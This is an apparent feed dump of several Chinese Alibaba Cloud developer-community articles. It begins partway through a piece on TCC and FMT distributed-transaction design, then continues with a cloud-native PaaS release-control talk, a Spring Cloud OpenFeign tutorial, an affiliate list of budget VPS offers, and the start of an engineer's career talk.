      二阶段设计和幂等控制比较容易明白。二阶段设计就是一阶段的资源预留和二阶段的提交回滚。

      比如以扣钱场景为例,账户 A 有 100 元,要扣除其中的 30 元。一阶段要先检查资源是否足够,账户余额是否大于等于 30 块,资源不足则需要立马返回失败;资源足够则把这部分资源预留起来,预留就是锁资源,锁的粒度可大可小,尽量是按照最小粒度、尽快释放的原则来,比如这里引入一个“冻结部分”的字段,“可用余额”在一阶段后就能立马得到释放,锁的是冻结字段。

      图片 3.png

      二阶段,如果是提交则真正扣除冻结的 30 元;如果是回滚的话,则把冻结部分加回可用余额里。

      我们看个具体的客户案例,网商银行在使用 TCC 时,划分了三层,最上一层是具体的业务平台,承接着外部不断变化的业务需求;中间是资产交换服务,是事务发起方层,由它来发起和编排各种不同的事务链路;最底下一层是事务参与者层,提供最基础的服务,比如存款核心提供的存入、支出、冻结、解冻服务,借记账务的各种原子服务等。

      image.png

      看下我们日常生活中常见的几个金融业务场景,支出、存入、冻结、解冻、提现、手续费和销户。提现场景,比如信用卡提现至银行卡,类似 A 到 B 的转账;手续费,跟转账类似。

      下面重点介绍一下其他 4 个场景:支出(扣款)、存入(记入)、冻结和解冻四个 Case。

      首先,看下账户表的设计,前面说过,在设计的时候,需要尽可能减少锁的时间和锁的粒度,这里账户表有这4个字段:当前余额、未达金额、业务冻结金额和预冻结金额。用户看到的余额 = 当前金额 - 预冻结 - 业务冻结金额。

      支出(扣款)场景

      图片 01.png

      先来看下支出(扣款)场景下,账户表里各字段的数额变化。初始状态下,显示的账户余额,和当前余额是一致的。TCC 的一阶段检查并预留资源,这里对应的资源是
      “预冻结金额”字段,预冻结金额设置为 100 元,当前余额不变。因为 100 块被预冻结了,显示给用户的可用余额现在是 900 元。如果二阶段是提交的话,就释放预冻结金额,扣除当前余额,账户的当前余额就是 900 元。如果二阶段不是提交,是回滚,这里就是把一阶段的资源释放,也就是把预冻结金额释放回去,显式的账户余额重新变成 1000 元。

      存入场景

      图片 02.png

      上面是支出(扣款)场景,再来看下存入的场景。初始状态还是当前余额和显式的可用余额都是1000元。因为是存入,一阶段的话就是“未达金额”加 100 元,显示的可用余额还是不变。二阶段如果是提交,就把未达金额清除,把这部分的钱加到当前余额,当前余额就是 1100 元了。如果二阶段是回滚,直接清除一阶段的未达金额即可。

      冻结场景

      图片 03.png

      冻结场景则是在一阶段是资源预留,就是预冻结,预冻结金额字段设置为 100 元,显示给用户的可用余额也要少 100 块。二阶段如果是提交,就是真正冻结,把预冻结金额释放,添加业务冻结金额。二阶段回滚的话,就是把一阶段的预冻结释放。

      解冻场景

      图片 04.png

      最后看下解冻场景,一阶段检查账户状态是不是可用,二阶段如果提交,就释放冻结金额,显示的可用余额就多了 100 元。二阶段如果是回滚状态,就什么都不用做。

      以上分享了接入 TCC 如何进行二阶段设计以及如何进行资源预留,用实际的金融场景分析了下 TCC 一二阶段需要做的事情。因为二阶段设计是 TCC 接入的关键,所以进行了重点阐述。接下来我们继续看 TCC 设计的其他规范。

      • 幂等控制

      幂等控制,就是 Try-Confirm-Cancel 三个方法均需要保持幂等性。无论是网络数据包重传,还是异常事务的补偿执行,都会导致 TCC 服务的 Try、Confirm 或者 Cancel 操作被重复执行;用户在实现 TCC 服务时,需要考虑幂等控制,即 Try、Confirm、Cancel 执行一次和执行多次的业务结果是一样的。

      • 并发控制

      并发控制即当两个并发执行的分布式事务操作同一个账号时,冻结的部分是相互隔离的,也就是 T1 冻结金额只能被事务 1 使用,T2 冻结金额只能被事务 2 使用。冻结资源与事务 ID 之间建立关联关系。

      图片 4.png

      • 允许空回滚

      首先对空回滚的定义就是 Try 未执行,Cancel 先执行了。正常是一阶段的请求先执行,然后才是二阶段的请求。出现空回滚的原因,是网络丢包导致的,调用 Try 方法时 RPC timeout 了,分布式事务回滚,触发 Cancel 调用;参与者未收到 Try 请求而收到了 Cancel 请求,出现空回滚。

      我们在设计参与者时,要支持这种空回滚。

      • 防悬挂

      悬挂的定义是 Cancel 比 Try 先执行。不同于空回滚,空回滚是 Try 方法的请求没有收到。悬挂是 Try 请求到达了,只不过由于网络拥堵,Try 的请求晚于二阶段的 Cancel 方法。

      image.png

      整个流程是这样的:

      • 调用 TCC 服务 Try 方法,网络拥堵(未丢包),RPC超时;
      • 分布式事务回滚;
      • TCC 服务 Cancel 被调用,执行了空回滚;整个分布式事务结束;
      • 被拥堵的 Try 请求到达 TCC 服务,并被执行;出现了二阶段 Cancel 请求比一阶段 Try 请求先执行的情况,TCC 参与者悬挂;

      解决悬挂的问题,可以跟踪事务的执行,如果已经回滚过了,一阶段不应该正常执行,这时候要拒绝 Try 的执行。

      FMT 模式在蚂蚁金服内的使用

      接下来我们来看一下 FMT(Framework-Managerment-Transaction)框架管理事务模式。

      之前介绍几个事务模式的时候,说过 TCC 模式虽然灵活,功能强大,能做很多定制和优化,但是使用难度上比较大,业务系统要进行二阶段改造,编码工作非常多。

      针对那些对性能要求并不高,业务体量并不大的中小业务,我们推出了 FMT 模式——框架管理事务,从名字上看,就是大部分工作由框架自动完成,业务只需要关注实现自己的业务 SQL 即可。

      FMT 还是基于二阶段的模型,业务只需要关注一阶段实现自己的业务 SQL,二阶段的自动提交回滚由框架来完成。

      image.png

      框架托管的二阶段,需要基于对一阶段的分析。在一阶段中,会执行下面几个步骤:对 SQL 进行解析,提取表的元数据,保存 SQL 执行前的值,执行 SQL,保存执行后的快照,保存行锁。

      下面看下每个阶段具体做的事:

      查询操作不涉及事务,我们这里以一个更新操作为例,首先要对操作的 SQL 进行语法语义分析,提取出关于这条记录的全部信息,包括是属于哪张表、查询条件是什么、有哪些字段、这些记录的主键等,这些信息可以通过 JDBC MetaData api 就能拿到。

      image.png

      然后我们开始保存执行前的快照数据,把目标记录的所有字段的当前值存到 undo log 里,存完后真正执行 SQL,SQL 执行后原来的一些字段值就已经产生变化了,我们把新的快照数据存到 redo log 里。最后把表名称和记录主键值存到行锁表,代表当前这个事务正在操作的是哪些记录。

      有了这些信息后,框架就完全能自己去执行二阶段操作了。比如,当事务需要进行二阶段提交,因为在一阶段里业务SQL 已经执行了,二阶段只需要把产生的中间数据删掉即可。当二阶段回滚时,因为我们保存了 SQL 执行的快照数据,所以还原回执行前的快照数据即可,同时把中间数据删掉。

      image.png

      这里我们知道了 undo 和 redo log 的作用,接下来讲讲行锁。行锁是用来进行并发控制的。当一个事务在操作一条记录前,会先去行锁表里查下有没有这条记录的锁信息,如果有,说明当前已经有一个事务抢占了,需要等待那个事务把锁释放。图中,事务 1 在一阶段对记录上锁,这个时候事务 2 进来,只能等待,等事务 1 二阶段提交,把锁释放,事务 2 这时候才能加锁成功。

      image.png

      极致性能优化

      最后,我们看看在蚂蚁金服内部,针对双十一、双十二这种大促,为了达到更好的性能状态,做的一些优化。

      二阶段异步化

      一个是二阶段异步化,因为一阶段的结果已经能决定整个事务的状态了,而且资源也都预留好了,剩下的二阶段可以等请求峰值过后再去执行。这样,分布式事务耗时由执行 try + confirm 或者 try + cancel 缩减成 try,提高了吞吐量。虽然结果有延迟的,但最终结果无任何影响。

      异步的二阶段方法,在请求洪峰过后,会由事务恢复服务捞起执行。

      0000.png

      同库模式

      另一个优化,在事务记录上。分布式事务在推进过程中,会记录事务日志,如果这个事务日志是放到 Server 这边的,发起方更新事务状态时,需要跨 RPC 调用到Server方那边,影响分布式事务的性能。如果将事务日志存在业务数据库,则每次记录状态的就是业务本地执行的,减少 RPC 调用次数,从而提升了性能。

      总结

      以上就是本期分享的全部内容,我们先从事务产生的背景入手,在现在分布式架构的体系结构下,跨服务协同调用是常态,而网络、数据库、机器等都具有不可靠性,如果保证这中间操作要么全部成功,要么全部失败,是大家面临的共同问题,特别是金融场景下,对解决这个问题更有迫切性,蚂蚁金服作为一家金融科技公司,在这方面也进行了探索,积累了很多经验。

      在介绍蚂蚁金服的分布式事务中间件之前,先介绍了一些分布式事务的理论背景,包括两阶段协议和 TCC 协议。基于理论背景,重点介绍了蚂蚁金服在分布式事务上的 TCC、FMT 模式的应用,分享了实现原理和设计规范以及 TCC 二阶段设计等。最后介绍了针对双十一双十二这种大促活动,如何进行二阶段异步化和同库模式的优化,来支撑零点峰值时的洪峰请求。

      以上就是本期分享的全部内容,如果大家对蚂蚁金服在分布式事务中的实践以及 Seata 有问题跟兴趣,也可以在群内与我们交流。

      本期视频回顾以及 PPT 查看地址

      https://tech.antfin.com/community/live/1119

      ]]>
      技术破局:如何实现分布式架构与云原生?| 含 ppt 下载-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      2月19日-2月26日,蚂蚁金服开展了“共战‘疫情’,技术破局”数字课堂线上直播,邀请资深专家从“云原生”、“研发效能”、“数据库”三方面分享蚂蚁金服的实践经验并在线答疑,解析 PaaS 在金融场景的落地建设实践,解析支付宝移动端弹性动态架构,分享 OceanBase 2.2版本的特性和实践。

      本文根据 蚂蚁金服 SOFAStack 产品专家俞仁杰,在蚂蚁金服数字课堂直播间分享的云原生应用 PaaS 平台的建设实践内容整理,以下为演讲整理全文:

      大家好,欢迎来到蚂蚁金服数字课堂直播间。今年 2 月,SOFAStack 金融分布式架构产品已经在阿里云上完成了商业化发布,为了让更多朋友了解到我们的产品的能力、定位以及背后的设计思路,后续我们会有一系列的直播分享。我们今天想分享给大家的话题叫《云原生应用 PaaS 平台的建设实践》,主要会围绕 PaaS 产品能力在一些需要稳妥创新的金融场景下的落地思路,并且能够更好地与云原生架构做好链接。

      金融场景云原生落地面临挑战

      云原生是业务快速变化背景下的必然技术趋势

      回顾 IT 的发展史,云计算分类为 IaaS PaaS 和 SaaS 已经有十几年了。而事实上,整个云计算行业的发展,我们能够明显看到企业在落地云计算战略的时候经历的三个阶段,Cloud-Based, Cloud-Ready, Cloud-Native。这三个阶段其实是因为业务的变化越来越敏捷,要求企业关注重心上移,把更多的精力和人才投入到业务逻辑的建设上,而把下层自已并不擅长并且越来越复杂的基础设施、中间件逐渐交给云计算厂商去实现,专业的人做专业的事。

      这本质是社会分工的进一步细化,也符合人类社会发展的规律。在云原生时代,业界所提出的容器技术,Service Mesh 技术,Serverless 技术都是希望让业务研发与基础技术更加的解耦,让业务创新和基础技术创新都更容易的发生。

      云原生是业务快速变化背景下的必然技术趋势

      容器技术带来的是一种应用交付模式的变革

      云原生就是业务快速变化背景下的必然技术趋势。而这个趋势背后的实质载体,就是我们所说的云原生、Kubernetes 以及以 Docker 为代表的容器技术,这些所带来的,本质是一种应用交付模式的变革。而为了真正能够使业界、社区所倡导的新兴应用交付模式落地到实际的企业环境,我们需要一个以应用为中心的平台来进行承载,贯穿应用运维的各项生命周期。

      围绕“云原生”这个关键词,其实在社区和业界已经有了非常多的交流和资料,围绕Docker/K8S 的最佳实践、DevOps CICD、容器网络存储设计、日志监控对接优化等等等等,而我们今天的分享,主要想表达的是我们围绕在 K8S 之上塑造一个 PaaS 平台的产品价值主张。Kubernetes 是一个非常好的编排和调度框架,它核心的贡献是让应用的编排和资源的调度更加的标准化,同时提供了一个高度可扩展的架构,方便上层进行各种控制器和调度器的定制。但是,它并不是一个 PaaS。PaaS 底层可以基于 Kubernetes 去实现,但是在上层要补足非常多的能力才能真正把 Kubernetes 用于生产环境,特别是金融行业的生产环境。

      金融场景需要“稳妥创新”

      生产环境落地云原生需要着重考虑哪些挑战?

      金融场景需要“稳妥创新”

      我们之前做过一些调研和客户访谈。就现在 2020 年来说,绝大多数金融机构都展现出了对 Kubernetes、容器等技术的极大兴趣,有不少机构也已经在一些非关键的业务、或开发测试环境搭建了开源或商业版的集群。驱动力很简单,金融机构非常希望这一整套新的交付模式帮助到业务飞速迭代。然而对比落差非常明显的是,真正敢于在核心生产环境落地云原生架构的,又少之又少。因为金融业务创新的前提,是要保障稳妥。

      我们团队在服务蚂蚁内部业务、外部金融机构的过程中,总结了以上这几个方面,事实上这六大方面也是我们内部 SRE 不断挑战的几点。我们在今天以及未来的分享中,会逐步总结深化应对这些挑战的产品思路。

      K8S 体系下的应用变更与发布管控

      我们今天分享的一个核心内容,就是我们如何在产品层面做应用变更的风险保障的。并围绕此话题向大家介绍变更“三板斧”的背景、K8S 原生部署能力、我们产品围绕变更需求做的扩展并向大家介绍我们在开源方面的规划。

      K8S 体系下的应用变更与发布管控

      需求背景:变更“三板斧”

      所谓“三板斧”就是可灰度、可监控、可应急。这是蚂蚁内部运维的一条红线准则,所有的变更,都必须要遵从这个规则,即使再细小的变更,再严密的测试,也不能忽略这条规则。为了满足这个需求,我们在 PaaS 产品层设计了各种各样的精细化发布策略,比如分组发布、beta 发布,灰度发布,蓝绿发布等。这些发布策略跟我们在做传统运维时用的手段是非常相似的,但很多使用容器的用户认为在 K8S 里实现会非常的困难。

      有些时候,由于对业务连续性的极高要求,也很难接受原生 K8S 模型标准化模式,比如原生 Deployment 做灰度或者金丝雀发布时,默认情况下在 Pod 变更和流量治理层面的管控还稍显不足,无法完全做到无损发布或按需过程管控。因此,我们在 PaaS 产品层面做了定制,在 Kubernetes 层面做了自定义资源的扩展,目的是能够在云原生的场景下,依然对整个发布过程实现精细化管控,使得大规模集群发布、灰度、回滚时更加优雅,符合技术风险三板斧原则。 

      需求背景:变更“三板斧”

      Kubernetes 原生发布能力

      我们先来回顾一下 K8S 的原生 Deployment 对象,及其背后的 ReplicaSet,其实已经是在最近好几个大版本中已经逐渐的稳定了。 简单的来说,最常见的 K8S 发布场景,我们会通过 Deployment 的对象,声明出我希望的发布模式以及 Pod Spec 定义。在运行时,会有 ReplicaSet 对象来管理 Pod 数量的预期,默认情况下会提供滚动发布或重建发布能力。

      image.png

      这幅图的下半部分,是围绕 Deployment 作滚动发布时的示意图,这里不再做过多的展开,它的本质根据用户根据我们的运维需求设定好一定的步长,创建新的 Pod,销毁旧的 Pod,因此能做到整个应用版本的变更和发布过程中,都能有对应的容器对外提供服务。 对大部分场景来说,它是够用的,而且整个过程也是非常好的理解,事实上在 K8S 体系,大家除了 Pod/Node,看的最多的就是 Deployment了。

      CAFEDeployment:感知底层拓扑和领域模型

      CAFEDeployment:感知底层拓扑和领域模型

      回顾完 Deployment,我们可以再给大家看一下我们根据实际需求作的 CRD 扩展,CAFEDeployment。CAFE 是我们 SOFAStack PaaS 产品线的名称,本文的最后会作一些介绍。

      CAFEDeployment 有一个很重要的能力,就是能够感知到底层拓扑,这个拓扑是什么意思呢?能够知道我想把我的 Pod 发布到哪里,哪边的 Node,不只是基于亲和性的规则作绑定,而是真正能把高可用、容灾、以及部署策略等场景息息相关的信息,带到整个围绕发布的领域模型中。对此,我们提出了一个叫部署单元的领域模型,他是一个逻辑概念,在 yaml 中简单的叫做 Cell。在实际使用中,Cell 的背后,可以是不同的 AZ 不同的物理机房,不同的机架,一切都是围绕着不同级别的高可用拓扑。

      CAFEDeployment:精细化分组发布扩容

      感知到了底层拓扑,我们再看一下 CafeD 的典型发布过程。这也是后面会通过产品控制台和命令行来演示的内容。这幅图所展现的过程,是一个精细化的分组发布,目的是能够让容器实例层面的变更,做到足够的可控和灰度。每一个阶段都能暂停、验证、继续或回滚。

      CAFEDeployment:精细化分组发布扩容

      以图上这个例子进行说明,我们的目标是发布或变更 10 个 Pod,且需要让这 10 个 Pod 能够均匀分布在两个可用区,确保在应用层面是高可用的。同时,在发布的过程,我们是需要引入分组发布的概念,即每个机房都要先仅仅发布一个实例,暂停验证之后,再进行下一组的发布。于是第 0 组,就变成两边各 1 个实例,第 1 组各两个,第 2 组则是剩下的 2 个。在实际的生产环境中,围绕容器大规模变更会配合业务监控及更多维度的观察,确保每一步都是符合预期、验证通过的。这样在应用实例层面的精细化管控,为运维提供了能够及时刹车回滚的机会,是线上应用发布的一个重要的保险绳。

      CAFEDeployment:优雅摘流无损发布

      讲完整个精细化的发布,我们再讲一个精细化的摘流。无损发布需要确保南北和东西向的网络流量都能被优雅摘除,确保在容器停机、重启、缩容的时候能够对线上业务无感。

      CAFEDeployment:优雅摘流无损发布

      这张图展示了一个 Pod 作变更发布时的控制流程规范。时序图中包括了 Pod 以及其相关联的各组件控制器,着重是和网络相关的如 Service Controller、LoadBalancer Controller 作配合,进行切流、流量回复检查等操作以实现无损发布。

      在传统经典运维场景基于指令式的运维习惯下,我们可以通过依次执行命令每个组件进行原子操作,确保入口流量、应用间流量都能完全摘除后,再执行实际的变更操作。而在云原生 K8S 场景下,这些复杂的操作都留给了平台,运维人员只需作简单的声明即可。我们在部署时把应用所关联的流量组件(不限于 Service loadbalancer/ RPC/ DNS...) 都透传到 CAFEDeployment,添加对应的“finalizer”,并通过 ReadinessGate 来做 Pod 是否可以承载流量的标识。

      以原地升级控制器 InPlaceSet 控制下的 Pod 为例,在做指定 Pod 更新时,会设置 ReadinessGate=false,相关联的组件感知到变化后,逐个注销对应的 IP,触发实际摘流动作。在等待相关 Finalizer 都被摘除之后,进行升级操作。待新版本部署成功后,设定 ReadinessGate=true,在依次触发各关联组件的实际流量挂在动作。待检测到 finalizer 和实际 CAFEDeployment 中声明的流量类型全部一致后,当前 Pod 才算发布完成。

      开源版本介绍:OpenKruise - UnitedDeployment

      我们再回到 PPT 的一个讲解,其实刚刚说的 CAFEDeployment,它在我们整个 CAFED 的一个商业化的产品,事实上在整个商业板的同时,我们也在做一些社区的开源,而在这个里面我想介绍一下 OpenKruise 项目,OpenKruise 源于整个阿里巴巴经济体的大规模云原生运维实践,我们把许多基于 K8S 体系下的自动化运维运维操作通过 K8S 标准扩展的方式开源出来,对原生 Workload 无法满足的能力作了强有力的补充,解决应用的自动化,包括部署、升级、弹性扩缩容、Qos 调节、健康检查、迁移修复等场景问题。

      开源版本介绍:OpenKruise - UnitedDeployment

      当前 OpenKruise 项目提供了一套 Controller 组件,其中的 UnitedDeployment 可以理解为 CAFEDeployment 的开源版本。除了基本的副本保持和发布能力,他还包含了 CAFEDeployment 的主要功能之一,多部署单元的 Pod 发布能力。 同时,由于UnitedDeployment 是基于多种类型的 workload(目前支持社区的 StatefulSet 和 OpenKruise AdvancedStatefulSet)实现对 Pod 的管理,因此它还能保留相应 Workload 的特性。 

      UnitedDeployment 的核心贡献者吴珂(昊天) (Github:wu8685) 来自于 SOFAStack CAFE 团队,主导了整个 CAFEDeployment 的设计与开发。当前我们正在努力把更多能力在经过大规模验证之后,通过标准化的方式整合进开源版本中,逐步减少两个版本的差异,使之趋于统一。

      展望与规划

      主流分布式云平台终将向云原生架构演进

      讲到这里,因为时间关系,围绕一些细节的技术实现就先分享到这里了。回顾一下前面关于 CAFEDeployment 关于整个发布策略的内容介绍,我们产品设计的一个关键价值主张就是,能够为应用和业务在拥抱新兴技术架构的时候,提供一个稳妥演进的能力。无论是虚拟机为代表的经典运维体系,还是规模化容器部署的云原生架构,都需要精细化的技术风险管控。同时,在宏观上,又能往最先进的架构上演进。

      实践参考:某互联网银行容器应用交付演进路线

      实践参考:某互联网银行容器应用交付演进路线

      以某个互联网银行的容器化演进路线为例。在成立之初,就确定了以云计算基础设施之上构建微服务分布式体系。但从交付模式上看,一开始采用的还是基于经典虚拟机的 PaaS 管控模式,从 2014 年到 2017 年,业务都是通过 Buildpack 把应用包发布到虚拟机上。这种运维模式虽然持续了三年,但是我们在这个过程中帮助完成了同城双活、两地三中心、到异地多活单元化的架构升级。

      在 2018 年,随着 Kubernetes 的逐渐成熟,我们在底层基于物理机和 K8S 构建了底盘,同时,用容器模拟 VM,完成了整个基础设施的容器化。但于此同时,业务并不感知,我们通过实际在底层 K8S 之上的 Pod,以“富容器”的方式为上层应用提供服务。而从 2019 年到 2020 年,随着业务的发展,对于运维效率、扩展性、可迁移性、精细化管控的要求更是驱使着基础设施往更加云原生的运维体系演进,并逐渐落地 Service Mesh、Serverless、单元化联邦集群管控等能力。

      云原生单元化异地多活弹性架构

      云原生单元化异地多活弹性架构

      我们正在通过产品化、商业化的方式,把这些年来积累的能力开放出来,希望能够支持到更多金融机构也能够在互联网金融业务场景下快速复制云原生的架构能力并为业务创造价值。

      大家可能在很多渠道了解到蚂蚁的单元化架构、异地多活的弹性和容灾能力。这里我给到大家一张图,是我们当前在建设,且马上在几个月内在一家大型银行作解决方案落地的架构抽象。在 PaaS 层面,我们在 K8S 上建设一层联邦能力,我们希望每一个机房都有独立的 K8S 群,因为一个 K8S 集群直接进行跨机房、跨地域部署是不可行的,无法满足容灾需求。进而通过多云联邦的管控能力,这同样需要我们 PaaS 层产品针对 Kubernetes 做一些扩展,定义逻辑单元,定义联邦层资源等等,最终达成多机房多地域多集群的单元化架构。结合之前分享中我们提到的,CAFEDeployment、ReleasePipeline,还有一些 Fedearation 层的联邦对象,我们做了大量扩展,最终目的是在这些复杂的场景中为业务提供统一的发布管控和容灾应急能力。

      SOFAStack CAFE 云应用引擎

      SOFAStack CAFE 云应用引擎

      说到这里,终于可以解释下前面提了很多的 CAFE 是什么意思了。CAFE, Cloud Application Fabric Engine 云应用引擎,是蚂蚁金服 SOFAStack 云原生应用 PaaS 平台的名称,不仅具备 Kubernetes 标准化的云原生能力,更在上层把经过生产检验的应用管理、发布部署、运维编排、监控分析、容灾应急等金融级运维管控能力开放了出来。同时,与 SOFAStack 中间件、服务网格 Service Mesh、阿里云容器服务 ACK  做了深度集成。

      回顾与展望

      CAFE 提供的关键差异化能力,是为应用生命周期管理提供具有技术风险防控保障(包括变更管控,容灾应急能力),并随之提供可演进的单元化混合云能力。是金融场景下落地分布式架构,云原生架构,混合云架构的关键底盘。

      SOFAStack 金融分布式架构

      SOFAStack 金融分布式架构

      最后一页,其实才是今天真正的主题。今天所介绍的 CAFE,是 SOFAStack金融分布式架构产品中的一部分。当前 SOFAStack 已经在阿里云上商业化发布了,大家可以来申请试用,并与我们作进一步的交流。大家可以通过搜索引擎、本文提供的产品链接、阿里云官网了解更多。

      在【金融级分布式架构】微信公众号后台回复“CAFE”,即可下载完整PPT。

      ]]>
      构建微服务项目 | 带你读《Spring Cloud Alibaba(2019)》之六-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文来自于《精通Spring Cloud Alibaba》课程的整理,讲师为余胜军,点击查看视频内容
      本文系志愿者整理,供配合学习中心课程使用,不做商业用途。

      OpenFeign客户端

      OpenFeign是一个Web声明式的Http客户端调用工具,提供接口和注解形式调用。
      SpringCloud第一代采用feign第二代采用openfeign
      openfeign客户端作用:是一个Web声明式的Http客户端远程调用工具,底层是封装HttpClient技术。
      Openfeign属于SPringleCloud自己研发,而feign是netflix代码写法几乎是没有任何变化。

      构建微服务项目

      mayikt-opefeign-parent---父工程
      ---mayikt-service-api----微服务Api接口层,定义了接口没有任何代码的业务实现
      ----mayikt-member-service-api---会员提供开放接口
      ----mayikt-order-service-api---订单提供开放接口
      ---mayikt-service-impl----微服务Api实现层
      ----mayikt-member-service-impl---会员实现层
      ----mayikt-order-service-api---订单实现层

      微服务架构基本样式,最大的优点能够对我们feign实现复用机制。

      Maven依赖

      <parent>
          <groupId>org.springframework.boot</groupId>
          <artifactId>spring-boot-starter-parent</artifactId>
          <version>2.0.0.RELEASE</version>
      </parent>
      
      
      <dependencies>
          <!--  springboot 整合web组件-->
          <dependency>
              <groupId>org.springframework.boot</groupId>
              <artifactId>spring-boot-starter-web</artifactId>
          </dependency>
          <dependency>
              <groupId>org.springframework.cloud</groupId>
              <artifactId>spring-cloud-starter-alibaba-nacos-discovery</artifactId>
              <version>0.2.2.RELEASE</version>
          </dependency>
          <dependency>
              <groupId>org.springframework.cloud</groupId>
              <artifactId>spring-cloud-starter-openfeign</artifactId>
              <version>2.0.0.RELEASE</version>
          </dependency>
      </dependencies>
      

      会员服务接口

      public interface MemberService {
      
          /**
           * 提供会员接口
           *
           * @param userId
           * @return
           */
          @GetMapping("/getUser")
          String getUser(@RequestParam("userId") Long userId);
      }
      @RestController
      public class MemberServiceImpl implements MemberService {
          @Value("${server.port}")
          private String serverPort;
      
          @Override
          public String getUser(Long userId) {
              return "我是会员服务端口号为:" + serverPort;
          }
      }
      

      订单服务

      @RestController
      public class OrderService {
          @Autowired
          private MemberServiceFeign memberServiceFeign;
      
          /**
           * 订单调用会员
           *
           * @return
           */
          @GetMapping("/orderToMember")
          public String orderToMember() {
              String result = memberServiceFeign.getUser(10L);
              return "我是订单服务,调用会员服务接口返回结果:" + result;
          }
      }
      @FeignClient(name = "meitemayikt-member")
      public interface MemberServiceFeign extends MemberService {
      //    /**
      //     * 提供会员接口
      //     *
      //     * @param userId
      //     * @return
      //     */
      //    @GetMapping("/getUser")
      //    String getUser(@RequestParam("userId") Long userId);
      }
      
      

      注意feign客户端调用的事项:
      如果请求参数没有加上注解的话,默认采用post请求发送。
      Openfeign默认是支持负载均衡,ribbon。

      Nacos服务注册 服务名称是否 有下划线?
      在微服务架构中服务的名称命名不能够有下划线。

      ]]>
      高性价比和便宜的VPS/云服务器推荐 2020/5/18更新-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 这是我自己收集的一些性价比较高的和便宜的VPS/云服务器
      1H2G5M指的是:1核CPU,2G内存,5M带宽
      通过下面我的注册链接购买阿里云腾讯云PacificRackiON Cloud搬瓦工群英云滴滴云其中一家的服务器超过200元,或通过此链接在Vultr(这个链接充值送100美元余额)充值25美元的可以联系我(QQ:676672384)提供免费搭建网站或其他服务(比如tizi)

      国内服务器

      • 阿里云学生机,1H2G5M,9.5元/月,阿里云ECS/轻量应用云。 24岁以下免学生认证。
      • 阿里云每日秒杀,1H2G1M,203元3年
      • 阿里云新用户,1H2G1M,102元/年,送对象存储和云数据库。
      • 阿里云轻量应用服务器,香港/新加坡1H1G30M,24元/月,可搭梯子。
      • 腾讯云学生机,1H2G1M,10元/月,25岁以下免学生认证。
      • 腾讯云每日秒杀,1H2G1M,99元/年
      • 腾讯云星星海(腾讯自研,定制AMD CPU),1H2G1M,99元/年
      • 百度云学生机,1H2G1M,9元/月,24岁以下免学生认证。
      • 华为云,学生机1H1G1M,9元/月,2H4G1M,18元/月,24岁以下免学生认证;1H2G1M,78.88元/年;1H2G1M,免费领一个月。
      • UOvZ,2H2G100M,100G高防,121元/月;4H4G100M,100G高防,499元/月。
      • 群英云,2H2G3M,48元/月;1H1G1M,20G防御,39元/月。
      • 天翼云学生机,1H2G1M,9.9元/月。 要通过学生认证。
      • 滴滴云,1H2G1M,9.9元/月;2H4G2M,29.9元三个月;1H2G1M,68元一年(这个要通过我的链接购买)。
      • 雨云:香港CN2,1H0.5G50M,9元/月;徐州100G高防,1H0.5G5M,9元/月,通过我的链接注册可获得2000积分(注册后通过做任务可获得11300积分,总共13300积分,可兑换成余额6元,每日可领300积分)。
      • 狗云:香港BGP,1H2G30M,26.71元/月,新开七折优惠码vpser,全场八折优惠码now80

      国外服务器

      • 极光KVM,洛杉矶1H1G1000M,39.8元/月;香港1H1G20M,29.66元/月。
      • UOvZ,香港1H1G30M,50元/月;日本1H0.5G100M,50元/月。
      • HostMem,1H1G100M,1.73美元/月,9.99美元/年
      • Vultr,1H1G1000M,5美元/月,按小时计费,可以随时删服,适合搭梯子。
      • OneVPS,1H0.5G不限流量,5美元/月。
      • 搬瓦工,2H1G1000M,49.99美元/年,支持换IP,很适合搭梯子。
      • CloudCone,1H1G1000M,3.71美元/月。
      • VirMach,1H0.5G1000M,2.25美元/月。
      • iON Cloud,1H2G1000M,68美元/年,直连中国CN2优化网络,很适合搭梯子。
      • PacificRack,1H1G1000M,3G DDoS防御,8.99美元/年,九折优惠码PRVPS10OFF,适合搭梯子。

      推荐文章

      本文章不定时更新:https://blog.zeruns.tech/archives/383.html

      ]]>
      蚂蚁研究员玉伯:我的技术人生答案-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      前端工程师如何成长?如何管理前端团队?如何打造团队文化?近日,蚂蚁研究员兼体验技术部负责人玉伯,在蚂蚁内部技术人的成长公开课上,分享了他的人生愿景和心路历程。
      玉伯,蚂蚁研究员,体验技术部负责人。2008年加入淘宝,2012年开始在支付宝致力于设计语言 Ant Design、数据可视化 AntV、知识协同语雀等领域的工作。目前一心打造服务于蚂蚁金服及业界的一流技术与产品。

      mceclip1_20200509104332_PT8K.png

      今天给大家分享的议题,是如何做一个简单自由有爱的技术人。简单自由有爱是体验技术部的团队文化,同时也是我个人的人生愿景。我一直会去想,自己要成为什么样的一个人,究竟要活成什么样?这几年我找到的一个答案,就是去做一个简单自由有爱的人。今天跟大家分享一下我对这几个词的一些理解,以及背后的一些心路历程。

      一、做一个简单的技术人

      简单,对我来说有些特殊的含义。
      我从开始做前端到现在已经有13年。一直以来,我觉得自己做技术时,追求的就是保持简单,追求技术的简单性,也追求做技术时心态的简单性。
      在很多圈,包括技术圈,都有鄙视链的存在,比如说做Java的可能看不起做前端的,做前端的可能看不起做测试的,做产品的可能看不起做技术的,做运营的觉得产品都是为业务打工的。在这个鄙视链里,很多岗位的同学或多或少都会有职业上的困惑。
      我知道很多前端同学,都会问自己一个问题,前端职业发展的天花板在什么地方?我究竟应该做几年前端?临近 35 岁要不要转型?很多同学都会有疑惑。但在这几年的工作经历里,我觉得其实每个岗位都很重要。我印象中逍遥子说过一句话,他说在公司里面,如果一个岗位不重要的话,其实早就取消了。每一位前端同学,每一位技术岗位的同学,职业上的困惑往往源自心态,要想在某个领域做到好,心态一定要保持简单,这一点很关键。
      我经历过从前端转Java,在做前端之前我是写C++的。在转行过程中,我会问自己一个问题,究竟什么样的工作能让自己进入心流状态,能够让自己开心、有成就感、有价值感。然后我会发现在做前端写界面时,在做人机交互实现时,自己会没日没夜地去写代码,最终调试产出后很有喜悦感。只要一个岗位能够带给自己这种心流和喜悦感,那这个岗位对自己来说,就是很重要的。其实没必要去做很多横向比较。
